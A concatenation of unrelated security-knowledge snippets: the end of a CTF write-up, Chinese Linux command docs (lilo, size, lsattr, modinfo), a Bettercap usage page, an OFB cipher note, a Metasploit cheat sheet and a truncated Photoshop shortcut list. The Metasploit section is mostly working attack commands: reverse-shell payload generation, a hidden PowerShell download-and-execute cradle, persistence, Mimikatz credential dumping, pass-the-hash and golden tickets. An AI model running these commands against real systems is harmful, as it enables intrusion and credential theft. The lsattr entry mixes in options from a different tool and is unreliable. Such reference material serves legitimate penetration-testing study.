160x90, which adds up to 14400 as well. So, perhaps each frame gives us some kind of information needed in order to create an additional image of 160x90? Should we somehow transform each frame to a single pixel? After some trial an error, the method that worked was extracting one pixel from each frame and placing it in a new image. The pixel location was based on the frame number: The first pixel was extracted from (0, 0), the next one from (1, 0) and so on. Script: ```python from PIL import Image import numpy import hashlib import cv2 def bgr2rgb(bgr): return tuple(bgr)[::-1] def main(): vidcap = cv2.VideoCapture('static.avi') frame_count = int(vidcap.get(cv2.CAP_PROP_FRAME_COUNT)) width = int(vidcap.get(cv2.CAP_PROP_FRAME_WIDTH)) height = int(vidcap.get(cv2.CAP_PROP_FRAME_HEIGHT)) assert(width * height == frame_count) img = Image.new('RGB', (width, height)) img_pixels = img.load() for h in range(height): for w in range(width): success, frame = vidcap.read() assert(success) # Translate from cv2 format (BRG) to PIL format (RGB) img_pixels[w, h] = bgr2rgb(frame[h, w]) img.save("out.png") success, _ = vidcap.read() assert(success == False) if __name__ == "__main__": main() ``` The output image contained the flag: `cstechnion{s7atic_fL4G}`
sec-knowleage
lilo === 安装核心载入开机管理程序 ## 补充说明 **lilo命令** 用于安装核心载入,开机管理程序。lilo是个Linux系统核心载入程序,同时具备管理开机的功能。单独执行lilo指令,它会读取/etc/lilo.conf配置文件,然后根据其内容安装lilo。 Linux lilo已经成为所有 Linux 发行版的标准组成部分。作为一个 较老的/最老的 Linux 引导加载程序,它那不断壮大的 Linux 社区支持使它能够随时间的推移而发展,并始终能够充当一个可用的现代引导加载程序。有一些新的功能,比如增强的用户界面,以及对能够突破原来 1024-柱面限制的新 BIOS 功能的利用。 虽然 LILO 仍在不断地发展,但 LILO 工作原理的基本概念保持不变。 ### 语法 ```shell lilo(选项) ``` ### 选项 ```shell -b<外围设备代号>:指定安装lilo之处的外围设备代号; -c:使用紧致映射模式; -C<配置文件>:指定lilo的配置文件; -d<延迟时间>:设置开机延迟时间; -D<识别标签>:指定开机后预设启动的操作系统,或系统核心识别标签; -f<几何参数文件>:指定磁盘的几何参数配置文件; -i<开机磁区文件>:指定欲使用的开机磁区文件,预设是/boot目录里的boot.b文件; -I<识别标签>:显示系统核心存放之处; -l:产生线形磁区地址; -m<映射文件>:指定映射文件; -P<fix/ignore>:决定要修复或忽略分区表的错误; -q:列出映射的系统核心文件; -r<根目录>:设置系统启动时欲挂入成为根目录的目录; -R<执行指令>:设置下次启动系统时,首先执行的指令; -s<备份文件>:指定备份文件; -S<备份文件>:强制指定备份文件; -t:不执行指令,仅列出实际执行会进行的动作; -u<外围色设备代号>:删除lilo; -U<外围设备代号>:此选项的效果和指定"-u"参数类似,当不检查时间戳记; -v:显示指令执行过程; -V:显示版本信息。 ``` ### 实例 **使用 LILO 作为引导加载程序** 要使用 LILO 作为引导加载程序,需要做的事情取决于是要进行全新安装还是要让已经安装的 Linux 改为使用 LILO。如果是要进行全新安装,那么直接跳转到 配置 LILO 那一节。如果已经安装了某个 Linux 发行版,那么通常可以选择安装并配置 LILO(并可以将机器引导到新的 Linux 安装)。 要将现有的 Linux 迁移到 LILO,首先必须获得最新版本的 LILO(见 参考资料)。在做任何其他事情之前,建议您确保在手边拥有一张 Linux 引导盘 —— 如果偶而弄错了某些地方,它可以提供很大的帮助,能够恢复到初始的 Linux 配置!将 LILO 安装到系统中之后,让它接管 MBR 非常简单。以 root 用户身份输入: ```shell /sbin/lilo -v -v ``` 这将使用当前的 LILO 默认值,抹去 MBR 中当前所有内容。不过,请阅读 配置 LILO,以确保能够按预期引导起来。也要注意,如果想要在同一机器上运行 Windows 和 Linux,那么应该先安装 Windows OS,然后再安装 Linux OS,这样,在 Linux 安装中所选择的引导加载程序就不会被 Windows 引导加载程序所覆盖。与 Linux 引导加载程序不同,多数 Window 引导加载程序不支持引导 Linux。如果已经先安装了 Linux,那么只需要自己创建一张 Linux 引导盘,这样就可以在安装完 Windows 之后,回到 Linux 安装中并重写 MBR。 **配置 LILO** LILO 的配置都是通过位于 /etc/lilo.conf 的一个配置文件来完成的。清单 1 给出了一个示例配置,使用的是我的家用机器,支持 Linux 和 Windows 机器的双重引导。了解我的工作站的基本配置,就可以想像出这些配置是如何与实际机器相关联的: 主 HDD(物理磁盘 1)上安装了 Windows XP(最初机器上只有它)。在 Linux 术语中,这个 HDD 是 /dev/hda(在 grub 术语中是 hd0,0)。 从 HDD(物理磁盘 2)上安装了 Red Hat Linux;root 分区位于这个硬盘驱动器的第三个分区,即 /dev/hdb3(在 GRUB 术语中是 hd1,3)。 lilo.conf 示例文件: ```shell boot=/dev/hda map=/boot/map install=/boot/boot.b prompt timeout=100 compact default=Linux image=/boot/vmlinuz-2.4.18-14 label=Linux root=/dev/hdb3 read-only password=linux other=/dev/hda label=WindowsXP ``` 配置文件选项说明: * boot= 行告诉 LILO 在哪里安装引导加载程序。在上面的示例中,将把它安装到第一块硬盘的 MBR。也可以选择将 LILO 安装到 /dev/hdb3(示例中的 Linux 分区),这样需要向 /dev/hda 安装另一个引导加载程序,并令其指向 LILO 引导加载程序;然后只需要让 LILO 作为二级引导加载程序。通常,引导加载程序应该位于 /dev/hda。还可以将这个参数指向软盘驱动器(最常见的是 /dev/fd0),来制做 LILO 软盘引导磁盘。 * map= 指向引导期间 LILO 内部使用的映射文件。当使用 /sbin/lilo 命令安装 LILO 时, 它会自动生成这个文件,其中包含有描述符表(还有其他内容)。建议不要改动这个文件! * install= 是 LILO 在引导过程中内部使用的文件之一。它同时包含有引导加载程序的主要部分和二级部分。boot.b 文件的 一个片段被写入到 MBR(引导加载程序的主要部分),它会指向那个映射,接下来指向二级引导加载程序。同样,不要改动它! * prompt= 告诉 LILO 使用用户界面(本例中给出了两个选择 —— Linux 和 WindowsXP)。除了使用 prompt/user 界面以外,在适当情况下还可以为 Linux 内核等指定具体的参数。如果不在配置文件中指定此选项,那么 LILO 将引导到 默认的 OS,不发生任何用户交互,也不会等待。(但是请注意,如果在引导时按下了 SHIFT,那么还是可以得到提示,当不想把 引导加载程序暴露给普通用户时,这非常有用)。 * timeout= 是引导提示在自动引导默认 OS(本例中是 Linux)之前的等待时间(以十分之一秒为单位)。 如果在 lilo.conf 没有指定 prompt,那么这个参数就会被忽略。 * compact 选项可以大大加速引导过程,它会将连续的读磁盘的请求合并为一个单独的请求。不过,这可能是 一件祸福参半的事情,因为我在论坛上看到过很多贴子提到了关于此选项的问题。当希望从软盘引导时,这个选项尤其有用。 * default= 选项告诉 LILO 默认使用哪个映像进行引导,比如在等待超时之后。这与 lilo.conf 文件中的某个映像的 标签相关联。如果没有在配置文件中指定此选项,那么它将引导文件中指定的第一个映像。 * 对于允许用户引导到的每一个 Linux 版本,都应该指定 image= 及以下三个选项。image 选项指定希望 引导到的内核版本。 * label= 标明了在运行期间希望能够从用户界面引导的不同 OS。另外,这个标签用于指定引导的默认 OS。 (注意:标签名称中避免出现空格;否则,引导那个文件时会出现无法预期的错误。) * root= 告诉 LILO OS 文件系统实际所在的位置。在我们的示例中为 /dev/hdb3,即第二块硬盘上的第三个分区。 * read-only 告诉 LILO 以只读的方式初始引导到文件系统。OS 一旦完全引导起来,就会以读写方式挂载。 * password= 允许您为将要引导到的特定 OS 设置口令。不幸的是,这个口令是以可读文本的方式保存在 lilo.conf 文件中,所以,所有人都能够读取它。如果需要,还可以对想要引导自的每个操作系统设置口令(在我们的示例中,只为 Linux 的引导 设置了一个口令)。 * other= 的动作类似于 image 和 root 选项的组合,但是用于除了 Linux 以外的其他操作系统。 在我们的示例中,它告诉 LILO 到哪里去找到 Windows OS(位于第一块硬盘的第一个分区)。如果先安装 Windows,后安装 Linux,通常会是这样。 * label= 与所有其他 label 选项相同。 在 lilo.conf 文件中可以使用很多其他参数,不过清单 1 中的参数就足以让机器可用了。要获得关于 lilo.conf 的这些以及其他参数的 进一步资料,请参考手册页(man lilo.conf)。由于在引导时不会读取 lilo.conf,所以,当这个文件有改动时,需要“更新”MBR。 如果不完成此步骤就重新引导,那么对 lilo.conf 的修改不会在启动中反映出来。与先前将 LILO 写入 MBR 类似,需要运行: ```shell /sbin/lilo -v -v ``` `-v -v`标记会为您给出非常详细的输出。当像我们那样运行 LILO 时,有很多参数可以指定。 参阅手册页以获得更进一步的信息(man lilo)。 **初始引导过程** 当 LILO 初始引导时,它会按次序打印出每个字母 —— L-I-L-O。如果所有字母都显示出来,那么第一阶段引导就成功了。缺少任何内容 都表示出现了问题: L:第一阶段引导加载程序已经被加载。如果 LILO 停止在这里,那么是在引导第二阶段引导加载程序时出现了问题。这通常会伴随有一个错误代码。 在这个阶段的常见问题是介质问题,或者在 lilo.conf 文件中指定了不正确的磁盘参数。 LI:第二阶段引导加载程序已经被加载。LILO 在此处停止表示第二阶段引导加载程序不能被执行。同样,这可能是因为出现了与只显示 L 类似的问题: 正在加载,或者因 boot.b 文件被破坏、移动或删除而不能加载。 LIL:第二阶段引导加载程序正在被执行。此时,可能会再次出现介质问题,或者映射文件(如 lilo.conf 文件中所指定的)在寻找描述符表时 可能会出现问题。 LIL?:加载到与上面相同的阶段。这通常意味着加载第二阶段引导加载程序使用了错误的地址,最常见的原因是 boot.b 所在的位置与 lilo.conf 文件所指定的不同。 LIL-:加载到与上面相同的阶段。加载描述符表时出现问题,最常见的原因是描述符表错误。 LILO:LILO 成功被加载,没有出现任何错误。 **引导时的附加配置** LILO 被成功加载后,将看到 LILO 提示符。还是使用前面的示例 lilo.conf 文件,此时将有两个选择,可能对 LILO 新手来说并不直观。首先,可以 让 LILO 超时(10 秒后),这将引导`/dev/hdb3`,即 Linux 分区。另外,可以按下 TAB 键,这将列出将要引导的操作系统选项。在我们的示例 lilo.conf 中, 将得到的选项是 “Linux” 和 “Windows”。输入哪一个,就会引导到哪个 OS。指定加载 Linux 选项,会提示输入一个口令,在本例中是 linux。如果输入的口令有误,则会返回 LILO 提示符。 不幸的是,LILO 不支持引导期间的交互式配置,所以,只能在 lilo.conf 中或者运行`/sbin/lilo`时指定选项。 关于第一次尝试 LILO 的最后一点建议是:我发现使用软盘引导磁盘比使用硬盘实现 LILO 配置更为安全。为此,必须在 lilo.conf 文件中使用`boot=/dev/fd0`替换`boot=/dev/hda`。那样,如果弄乱了lilo.conf文件 中的任何配置,都可以取出引导磁盘并像先前一样引导到 Linux。当使用软盘进行引导一切正常以后,可以将lilo.conf修改回`boot=/dev/hda`,然后最后一次运行`/sbin/lilo`来上传修改。
sec-knowleage
.\" Copyright (c) 1991 Free Software Foundation .\" See section COPYING for conditions for redistribution .TH size 1 "5 November 1991" "cygnus support" "GNU Development Tools" .de BP .sp .ti \-.2i \(** .. .SH NAME size \- 列出段节大小和总共大小 .SH "总览 (SYNOPSIS)" .hy 0 .na .TP .B size .RB "[\|" \-A \||\| \-B \||\| \c .BI "\-\-format=" compatibility\c \&\|] .RB "[\|" \-\-help "\|]" .RB "[\|" \-d \||\| \-o \||\| \-x\c \||\|\c .BI "\-\-radix=" number\c \&\|] .RB "[\|" \c .BI "\-\-target=" bfdname\c \&\|] .RB "[\|" \-V \||\| \-\-version "\|]" .I objfile\c \&.\|.\|. .ad b .hy 1 .SH "描述 (DESCRIPTION)" GNU 的 \c .B size\c \& 程序 列出 参数列表 .I objfile 中, 各 目标文件(object) 或 存档库文件(archive) 的 段节(section)大小 \(em\& 以及 总共大小. 默认情况下, 对 每个 目标文件 或 存档库中的 每个模块 产生 一行 输出. .SH "选项 (OPTIONS)" .TP .B \-A .TP .B \-B .TP .BI "\-\-format " "compatibility" 使用 这几个 选项, 你 可以 让 GNU .B size 的 输出效果 类似于 \& System V .B size \& (使用 `\|\c .B \-A\c \|', 或 `\|\c .B \-\-format=sysv\c \|'), 或 Berkeley .B size\c \& (使用 `\|\c .B \-B\c \|', 或 `\|\c .B \-\-format=berkeley\c \|'). 默认情况下 是 类似于 Berkeley 的 单行格式. .TP .B \-\-help 简述 参数和选项. .TP .B \-d .TP .B \-o .TP .B \-x .TP .BI "\-\-radix " "number" 使用 这几个 选项, 你 可以 让 各个 段节 的 大小 以 十进制 (`\|\c .B \-d\c \|', 或 `\|\c .B \-\-radix 10\c \|'); 八进制 (`\|\c .B \-o\c \|', 或 `\|\c .B \-\-radix 8\c \|'); 或 十六进制 (`\|\c .B \-x\c \|', 或 `\|\c .B \-\-radix 16\c \|') 数字 的 格式 显示. `\|\c .B \-\-radix \c .I number\c \&\c \|' 只支持 三个数值参数 (8, 10, 16). 总共大小 以 两种进制 给出; `\|\c .B \-d\c \|' 或 `\|\c .B \-x\c \|' 的 十进制 和 十六进制 输出, 或 `\|\c .B \-o\c \|' 的 八进制 和 十六进制 输出. .TP .BI "\-\-target " "bfdname" 你 可以 通过 参数 .I bfdname 指定 .I objfile 的 目标格式. 这个选项 可能 不那么 必要; 因为 .I size 能够 自动 识别 许多 格式. 参见 .BR objdump(1) 列出 的 有效格式. .TP .B \-V .TP .B \-\-version 显示 \c .B size\c \& 的 版本信息. .SH "另见 (SEE ALSO)" .BR info 的 .RB "`\|" binutils "\|'" 项; .IR "The GNU Binary Utilities" , Roland H. Pesch (October 1991); .BR ar "(" 1 ")," .BR objdump ( 1 ). .SH "版权 (COPYING)" Copyright (c) 1991 Free Software Foundation, Inc. .PP Permission is granted to make and distribute verbatim copies of this manual provided the copyright notice and this permission notice are preserved on all copies. .PP Permission is granted to copy and distribute modified versions of this manual under the conditions for verbatim copying, provided that the entire resulting derived work is distributed under the terms of a permission notice identical to this one. .PP Permission is granted to copy and distribute translations of this manual into another language, under the above conditions for modified versions, except that this permission notice may be included in translations approved by the Free Software Foundation instead of in the original English. .SH "[中文版维护人]" .B 徐明 <xuming@users.sourceforge.net> .SH "[中文版最新更新]" .BR 2004/02/22 .SH "《中国Linux论坛man手册页翻译计划》" .BI http://cmpp.linuxforum.net
sec-knowleage
# Bettercap ************** ## Bettercap包描述 ************** Bettercap是一款适用于网络攻击和监控的瑞士军刀。这是一个用于网络捕获,分析和MIMT攻击的网络安全工具。 [Lynis 主页](https://www.bettercap.org/) [Kali Bettercap仓库](https://git.kali.org/gitweb/?p=packages/bettercap.git;a=summary) [资料来源](https://github.com/bettercap/bettercap) 作者:Bettercap dev team 许可:GPLv3 *************** ### Bettercap包中包含的工具 Bettercap——用于网络攻击和监控的瑞士军刀。 ``` root@kali:~# bettercap -h Usage of bettercap: -autostart string 逗号分隔的模块列表会自动启动 (默认 "events.stream, net.recon") -caplet string 从此文件中读取命令并在交互式会话中执行他们 -cpu-profile file 写入cpu配置 -debug 打印调试信息 -env-file string 从选定的文件中加载环境变量, 设为空值去禁用持续维持的环境 -eval string 在交互式会话中,使用命令行设置变量,运行一个或者多个命令并使用;隔开 -iface string 绑定网络接口, 如果为空,接口会自动选定默认值 -mem-profile file 写入内存配置 -no-colors 禁用输出颜色效果 -no-history 禁用交互式会话历史记录文件 -silent 禁止输出(记录)所有非错误的日志 ``` ### bettercap用法示例 以静默模式扫描系统(-Q),并以cronjob格式(-cronjob)输出: ``` root@kali:~# bettercap bettercap v2.11 (type 'help' for a list of commands) 172.16.10.0/24 > 172.16.10.212 » [12:34:15] [endpoint.new] endpoint 172.16.10.254 detected as 00:50:56:01:33:70 (VMware, Inc.). 172.16.10.0/24 > 172.16.10.212 » help help MODULE : 如果没有模块名提供,则列出可用命令或者显示模块的特定帮助信息 active : 显示活动模块的相关信息 quit : 关闭会话并退出 sleep SECONDS : 休眠一段时间(休眠所给出的秒数) get NAME : 获取一个变量名的值 set NAME VALUE : 设置一个变量名的值 read VARIABLE PROMPT : 显示一个提示来询问用户输入,并将其保存在变量中 clear : 清空屏幕中的信息 include CAPLET : 在当前会话中加载并运行CAPLET ! COMMAND : 执行shell命令并且将其输出到屏幕。 alias MAC NAME : 给一个已知MAC地址的终端设定一个别名 模块: any.proxy > not running api.rest > not running arp.spoof > not running ble.recon > not running caplets > not running dhcp6.spoof > not running dns.spoof > not running events.stream > running gps > not running http.proxy > not running http.server > not running https.proxy > not running mac.changer > not running mysql.server > not running net.probe > not running net.recon > running net.sniff > not running packet.proxy > not running syn.scan > not running tcp.proxy > not running ticker > not running update > not running wifi > not running wol > not running 172.16.10.0/24 > 172.16.10.212 » net.show +-----------------+--------------------+----------+-------------------------+---------+---------+------------+ | IP | MAC | Name | Vendor | Sent | Recvd | Last Seen | +-----------------+--------------------+----------+-------------------------+---------+---------+------------+ | 172.16.10.212 | 00:b0:52:af:4a:50 | eth0 | Atheros Communications | 0 B | 0 B | 12:34:15 | | 172.16.10.2 | 00:50:56:13:37:0a | gateway | VMware, Inc. | 49 kB | 20 kB | 12:34:15 | | | | | | | | | | 172.16.10.254 | 00:50:56:01:33:70 | | VMware, Inc. | 2.4 kB | 2.4 kB | 12:35:15 | +-----------------+--------------------+----------+-------------------------+---------+---------+------------+ ↑ 0 B / ↓ 3.2 MB / 11354 pkts / 0 errs ```
sec-knowleage
# Metasploit ## Summary * [Installation](#installation) * [Sessions](#sessions) * [Background handler](#background-handler) * [Meterpreter - Basic](#meterpreter---basic) * [Generate a meterpreter](#generate-a-meterpreter) * [Meterpreter Webdelivery](#meterpreter-webdelivery) * [Get System](#get-system) * [Persistence Startup](#persistence-startup) * [Network Monitoring](#network-monitoring) * [Portforward](#portforward) * [Upload / Download](#upload---download) * [Execute from Memory](#execute-from-memory) * [Mimikatz](#mimikatz) * [Pass the Hash - PSExec](#pass-the-hash---psexec) * [Use SOCKS Proxy](#use-socks-proxy) * [Scripting Metasploit](#scripting-metasploit) * [Multiple transports](#multiple-transports) * [Best of - Exploits](#best-of---exploits) * [References](#references) ## Installation ```powershell curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall ``` ## Sessions ```powershell CTRL+Z -> Session in Background sessions -> List sessions sessions -i session_number -> Interact with Session with id sessions -u session_number -> Upgrade session to a meterpreter sessions -u session_number LPORT=4444 PAYLOAD_OVERRIDE=meterpreter/reverse_tcp HANDLER=false-> Upgrade session to a meterpreter sessions -c cmd -> Execute a command on several sessions sessions -i 10-20 -c "id" -> Execute a command on several sessions ``` ## Background handler ExitOnSession : the handler will not exit if the meterpreter dies. ```powershell screen -dRR sudo msfconsole use exploit/multi/handler set PAYLOAD generic/shell_reverse_tcp set LHOST 0.0.0.0 set LPORT 4444 set ExitOnSession false generate -o /tmp/meterpreter.exe -f exe to_handler [ctrl+a] + [d] ``` ## Meterpreter - Basic ### Generate a meterpreter ```powershell $ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f elf > shell.elf $ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f exe > shell.exe $ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f macho > shell.macho $ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php $ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f asp > shell.asp $ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f raw > shell.jsp $ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.10.110" LPORT=4242 -f war > shell.war $ msfvenom -p cmd/unix/reverse_python LHOST="10.10.10.110" LPORT=4242 -f raw > shell.py $ msfvenom -p cmd/unix/reverse_bash LHOST="10.10.10.110" LPORT=4242 -f raw > shell.sh $ msfvenom -p cmd/unix/reverse_perl LHOST="10.10.10.110" LPORT=4242 -f raw > shell.pl ``` ### Meterpreter Webdelivery Set up a Powershell web delivery listening on port 8080. ```powershell use exploit/multi/script/web_delivery set TARGET 2 set payload windows/x64/meterpreter/reverse_http set LHOST 10.0.0.1 set LPORT 4444 run ``` ```powershell powershell.exe -nop -w hidden -c $g=new-object net.webclient;$g.proxy=[Net.WebRequest]::GetSystemWebProxy();$g.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $g.downloadstring('http://10.0.0.1:8080/rYDPPB'); ``` ### Get System ```powershell meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: NT AUTHORITY\SYSTEM ``` ### Persistence Startup ```powershell OPTIONS: -A Automatically start a matching exploit/multi/handler to connect to the agent -L <opt> Location in target host to write payload to, if none %TEMP% will be used. -P <opt> Payload to use, default is windows/meterpreter/reverse_tcp. -S Automatically start the agent on boot as a service (with SYSTEM privileges) -T <opt> Alternate executable template to use -U Automatically start the agent when the User logs on -X Automatically start the agent when the system boots -h This help menu -i <opt> The interval in seconds between each connection attempt -p <opt> The port on which the system running Metasploit is listening -r <opt> The IP of the system running Metasploit listening for the connect back meterpreter > run persistence -U -p 4242 ``` ### Network Monitoring ```powershell # list interfaces run packetrecorder -li # record interface n°1 run packetrecorder -i 1 ``` ### Portforward ```powershell portfwd add -l 7777 -r 172.17.0.2 -p 3006 ``` ### Upload / Download ```powershell upload /path/in/hdd/payload.exe exploit.exe download /path/in/victim ``` ### Execute from Memory ```powershell execute -H -i -c -m -d calc.exe -f /root/wce.exe -a -w ``` ### Mimikatz ```powershell load mimikatz mimikatz_command -f version mimikatz_command -f samdump::hashes mimikatz_command -f sekurlsa::wdigest mimikatz_command -f sekurlsa::searchPasswords mimikatz_command -f sekurlsa::logonPasswords full ``` ```powershell load kiwi creds_all golden_ticket_create -d <domainname> -k <nthashof krbtgt> -s <SID without le RID> -u <user_for_the_ticket> -t <location_to_store_tck> ``` ### Pass the Hash - PSExec ```powershell msf > use exploit/windows/smb/psexec msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp msf exploit(psexec) > exploit SMBDomain WORKGROUP no The Windows domain to use for authentication SMBPass 598ddce2660d3193aad3b435b51404ee:2d20d252a479f485cdf5e171d93985bf no The password for the specified username SMBUser Lambda no The username to authenticate as ``` ### Use SOCKS Proxy ```powershell setg Proxies socks4:127.0.0.1:1080 ``` ## Scripting Metasploit Using a `.rc file`, write the commands to execute, then run `msfconsole -r ./file.rc`. Here is a simple example to script the deployment of a handler an create an Office doc with macro. ```powershell use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_https set LHOST 0.0.0.0 set LPORT 4646 set ExitOnSession false exploit -j -z use exploit/multi/fileformat/office_word_macro set PAYLOAD windows/meterpreter/reverse_https set LHOST 10.10.14.22 set LPORT 4646 exploit ``` ## Multiple transports ```powershell msfvenom -p windows/meterpreter_reverse_tcp lhost=<host> lport=<port> sessionretrytotal=30 sessionretrywait=10 extensions=stdapi,priv,powershell extinit=powershell,/home/ionize/AddTransports.ps1 -f exe ``` Then, in AddTransports.ps1 ```powershell Add-TcpTransport -lhost <host> -lport <port> -RetryWait 10 -RetryTotal 30 Add-WebTransport -Url http(s)://<host>:<port>/<luri> -RetryWait 10 -RetryTotal 30 ``` ## Best of - Exploits * MS17-10 Eternal Blue - `exploit/windows/smb/ms17_010_eternalblue` * MS08_67 - `exploit/windows/smb/ms08_067_netapi` ## References * [Multiple transports in a meterpreter payload - ionize](https://ionize.com.au/multiple-transports-in-a-meterpreter-payload/) * [Creating Metasploit Payloads - Peleus](https://netsec.ws/?p=331)
sec-knowleage
lsattr === 查看文件的第二扩展文件系统属性 ## 补充说明 **lsattr命令** 用于查看文件的第二扩展文件系统属性。 ### 语法 ```shell lsattr(选项)(参数) ``` ### 选项 ```shell -E:可显示设备属性的当前值,但这个当前值是从用户设备数据库中获得的,而不是从设备直接获得的。 -D:显示属性的名称,属性的默认值,描述和用户是否可以修改属性值的标志。 -R:递归的操作方式; -V:显示指令的版本信息; -a:列出目录中的所有文件,包括隐藏文件。 ``` lsattr经常使用的几个选项-D,-E,-R这三个选项不可以一起使用,它们是互斥的,经常使用的还有-l,-H,使用lsattr时,必须指出具体的设备名,用-l选项指出要显示设备的逻辑名称,否则要用-c,-s,-t等选项唯一的确定某个已存在的设备。 ### 参数 文件:指定显示文件系统属性的文件名。 ### 实例 ```shell lsattr -E -l rmt0 -H lsattr -EO -l rmt0 ```
sec-knowleage
# OFB OFB全称为输出反馈模式(Output feedback),其反馈内容是分组加密后的内容而不是密文。 ## 加密 ## 解密 ## 优缺点 ### 优点 1. 不具有错误传播特性。 ### 缺点 1. IV 无需保密,但是对每个消息必须选择不同的 IV。 2. 不具有自同步能力。 ## 适用场景 适用于一些明文冗余度比较大的场景,如图像加密和语音加密。
sec-knowleage
.\" Copyright (c) 1996 Free Software Foundation, Inc. .\" This program is distributed according to the Gnu General Public License. .\" See the file COPYING in the kernel source directory .\" .TH MODINFO 8 "11 Nov 1997" Linux "模块支持" .SH NAME modinfo \- 显示当前内核模块信息 .SH 总览 .B modinfo [ options ] <module_file> .SH 描述 .B modinfo 工具软件用来对内核模块的目标文件 .I module_file 进行测试并打印输出相关信息。 .SS 选项 .TP .BR \-a ", " \-\-author 显示模块的开发人员 .TP .BR \-d ", " \-\-description 显示此模块的描述说明 .TP .BI \-f format_string ", \-\-format " format_string 由用户定义任意格式字符串,可以通过该字符串从内核模块 .I module_file 的 ELF 段中获得该模块相应的值,其中包含该模块的信息。 替换由一个百分号后跟一个由花括号括起来的标签名组成。 .TP .BR \-p ", " \-\-parameters 显示模块所支持的有类型的参数 .TP .BR \-h ", " \-\-help 显示帮助信息 .TP .BR \-V ", " \-\-version 显示 .BR modinfo 的版本信息 .SH "参见" .BR insmod "(8), " modprobe "(8), " depmod "(8), " rmmod "(8), " .BR lsmod "(8), " ksyms "(8), " modules "(2) " .SH ”[中文版维护人]” .B 所罗门 <solomen@email.com.cn> .SH ”[中文版最新更新]” .B 2001/05/01 .SH 《中国Linux论坛man手册页翻译计划》: .B http://cmpp.linuxforum.net
sec-knowleage
--- title: Adobe Photoshop date: 2022-11-23 16:23:31.706034 background: bg-[#071c25] label: tags: - - categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 283 keyboard shortcuts found in Adobe Photoshop --- Keyboard Shortcuts ------------------ ### Popular shortcuts Shortcut | Action ---|--- `Ctrl` `T` | Free transform `[` | Decrease brush size `]` | Increase brush size `Shift` `[` | Decrease brush hardness `Shift` `]` | Increase brush hardness `D` | Default foreground/background colors `X` | Switch foreground/background colors `Ctrl` `J` | New layer via copy `Ctrl` `Shift` `J` | New layer via cut `Esc` | Cancel any modal dialog window (including the Start Workspace) `Enter` | Select the first edit field of the tool bar `Tab` | Navigate between fields `Shift` `Tab` | Navigate between fields in the opposite direction `Alt` | Change cancel to reset `Ctrl` `F` | Invoke the search experience {.shortcuts} ### Use function keys Shortcut | Action ---|--- `F1` | Start help `F2` | Cut `F3` | Copy `F4` | Paste `F5` | Show/hide brush panel `F6` | Show/hide color panel `F7` | Show/hide layers panel `F8` | Show/hide info panel `F9` | Show/hide actions panel `F12` | Revert `Shift` `F5` | Fill `Shift` `F6` | Feather selection `Shift` `F7` | Inverse selection {.shortcuts} ### Select tools {.row-span-2} Shortcut | Action ---|--- `V` | Move tool `M` | Rectangular marquee tool `L` | Lasso tool `W` | Magic wand tool > quick selection tool `C` | Crop tool > slice tool > slice select tool `I` | Eyedropper tool > ruler tool > note tool `J` | Spot healing brush tool > healing brush tool > patch tool > red eye tool `B` | Brush tool > pencil tool > color replacement tool > mixer brush tool `S` | Clone stamp tool > pattern stamp tool `Y` | History brush tool > Art history brush tool `E` | Eraser tool > background eraser tool > magic eraser tool `G` | Gradient tool > paint bucket tool `O` | Dodge tool > burn tool > sponge tool `P` | Pen tool > freeform pen tool `T` | Horizontal type tool > vertical type tool > horizontal type mask tool > vertical type mask tool `A` | Path selection tool > direct selection tool `U` | Rectangle tool > rounded rectangle tool > ellipse tool > polygon tool > line tool `H` | Hand tool `R` | Rotate view tool `Z` | Zoom tool `D` | Default foreground/background colors `X` | Switch foreground/background colors `Q` | Toggle standard/quick mask modes `J` | Content-aware move tool `C` | Perspective crop tool `V` | Artboard tool `R` | Rotate view tool `/` | Toggle preserve transparency `,` | Previous brush `.` | Next brush `Shift` `,` | First brush `Shift` `.` | Last brush {.shortcuts} ### View images {.row-span-2} Shortcut | Action ---|--- `Ctrl` `Tab` | Cycle through open documents `Ctrl` `Shift` `Tab` | Switch to previous document `Ctrl` `Shift` `W` | Close a file in Photoshop and open Bridge `F` | Toggle forward between Standard screen > Full screen with menu bar > Full screen modes `Shift` `F` | Toggle backwards between Standard screen > Full screen with menu bar > Full screen modes `Space` `F` | Toggle forward canvas color `Shift` `Space` `F` | Toggle backwards canvas color `Space` | Switch to hand tool (when not in text-edit mode) `Ctrl` `Space` | Switch to zoom in tool `Alt` `Space` | Switch to zoom out tool `Shift` `Enter` | Apply zoom percentage, and keep zoom percentage box active `PgUp/PgDn` | Scroll up or down 1 screen `Shift` `PgUp/PgDn` | Scroll up or down 10 units `Home` | Move view to upper-left corner `End` | Move view to lower-right corner `\` | Toggle layer mask on/off as rubylith (layer mask must be selected) {.shortcuts} ### Use Puppet Warp Shortcut | Action ---|--- `Esc` | Cancel completely `Ctrl` `Z` | Undo last pin adjustment `Ctrl` `A` | Select all pins `Ctrl` `D` | Deselect all pins `H` | Temporarily hide pins {.shortcuts} ### Use Refine Edge Shortcut | Action ---|--- `Ctrl` `Alt` `R` | Open the Refine Edge dialog box `F` | Cycle forward through preview modes `Shift` `F` | Cycle backwards through preview modes `X` | Toggle between original image and selection preview `P` | Toggle between original selection and refined version `J` | Toggle radius preview on and off `Shift` `E` | Toggle between Refine Radius and Erase Refinement tools {.shortcuts} ### Use the Filter Gallery Shortcut | Action ---|--- `Ctrl` `Alt` `F` | Reapply last-used filter `Ctrl` | Change Cancel button to Default `Alt` | Change Cancel button to Reset `Ctrl` `Z` | Undo/Redo `Ctrl` `Shift` `Z` | Step forward `Ctrl` 